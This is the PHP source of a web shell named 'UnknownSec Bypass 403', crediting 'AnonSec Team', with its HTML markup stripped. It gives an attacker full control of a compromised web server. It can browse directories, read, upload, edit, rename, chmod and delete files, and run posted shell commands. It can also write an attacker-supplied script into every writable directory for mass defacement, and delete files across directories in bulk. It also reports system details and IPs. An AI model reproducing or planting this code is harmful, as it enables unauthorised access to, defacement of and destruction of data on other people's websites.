'.$_SERVER['HTTP_HOST'].' ~ Bypass 403

$value){ $_POST[$key] = stripslashes($value); } } echo ' '.$_SERVER['HTTP_HOST'].' ~ Bypass 403

UnknownSec Bypass 403

'; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo ' : /'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } //upload echo '

'; echo '

'; echo "

Mass depes - Mass delete - Info - About

"; echo '

'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo ' '; }else{ echo ' '; } } echo ''; if(isset($_GET['filesrc'])){ echo "
files : "; echo $_GET['filesrc']; echo '
'; echo('

 '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'

'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['path'].'

'; //Chmod if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo ' '; }else{ echo ' '; } } echo ''; } //rename folder elseif($_GET['opt'] == 'btw'){ $cwd = getcwd(); echo '
'; } //rename file elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo ' '; }else{ echo ' '; } $_POST['name'] = $_POST['newname']; } echo '
'; } //edit file elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo ' '; }else{ echo ' '; } fclose($fp); } echo '
'; } echo ''; }else{ echo '
'; //delete dir if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo ' '; }else{ echo ' '; } } //delete file elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo ' '; }else{ echo ' '; } } } ?> '; $scandir = scandir($path); $pa = getcwd(); echo '

'; foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo ""; } foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo ""; } echo '

Name	Size	Permission	Options
$dir	DIR	"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo perms("$path/$dir"); if(is_writable("$path/$dir") \|\| !is_readable("$path/$dir")) echo ''; echo "	\"/>
$file	".$size."	"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo perms("$path/$file"); if(is_writable("$path/$file") \|\| !is_readable("$path/$file")) echo ''; echo "	\"/>

'; } echo '

'; $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r") ); $env = array('some_option' => 'aeiou'); $baka = ""; if(isset($_POST['cmd'])){ $cmd = ($_POST['cmd']); echo "
"; if(isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); for($i = 0; $i <= $c_dir; $i++) { $scdir[$i]; if($i != $c_dir) { } elseif($_GET['z'] == 'def'){ function mass_kabeh($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[DONE] $lokasi
"; file_put_contents($lokasi, $isi_script); $idx = mass_kabeh($dirc,$namafile,$isi_script); } } } } } } function mass_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[DONE] $dirb/$namafile
"; file_put_contents($lokasi, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe'] == 'massal') { echo "

"; mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

"; } elseif($_POST['tipe'] == 'biasa') { echo "

"; mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "

"; } } else { echo "
"; echo ""; } } elseif($_GET['z'] == 'info') { function get_client_ip() { $ipaddress = ''; if (getenv('HTTP_CLIENT_IP')) $ipaddress = getenv('HTTP_CLIENT_IP'); else if(getenv('HTTP_X_FORWARDED_FOR')) $ipaddress = getenv('HTTP_X_FORWARDED_FOR'); else if(getenv('HTTP_X_FORWARDED')) $ipaddress = getenv('HTTP_X_FORWARDED'); else if(getenv('HTTP_FORWARDED_FOR')) $ipaddress = getenv('HTTP_FORWARDED_FOR'); else if(getenv('HTTP_FORWARDED')) $ipaddress = getenv('HTTP_FORWARDED'); else if(getenv('REMOTE_ADDR')) $ipaddress = getenv('REMOTE_ADDR'); else $ipaddress = 'IP tidak dikenali'; return $ipaddress; } echo '

'; echo "Uname : ".php_uname()."
"; echo "Your Ip : ".get_client_ip()."
"; echo "Server Ip : ".gethostbyname($_SERVER['HTTP_HOST'])."
"; echo '

'; } elseif($_GET['z'] == 'abt'){ echo '

'; echo "- About -
"; echo "Thanks bre dah pake shell nya, jika ada yang error silahkan contact email di bawah
Greetz : { AnonSec Team } - And You
My email: tukanghek@protonmail.com"; echo '

'; } elseif($_GET['z'] == 'del') { function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if(file_exists($lokasi)) { echo "[DELETED] $lokasi
"; unlink($lokasi); $idx = hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']) { echo "

"; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "

"; echo "<- kembali"; } else { echo "
"; echo " "; } } } function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?>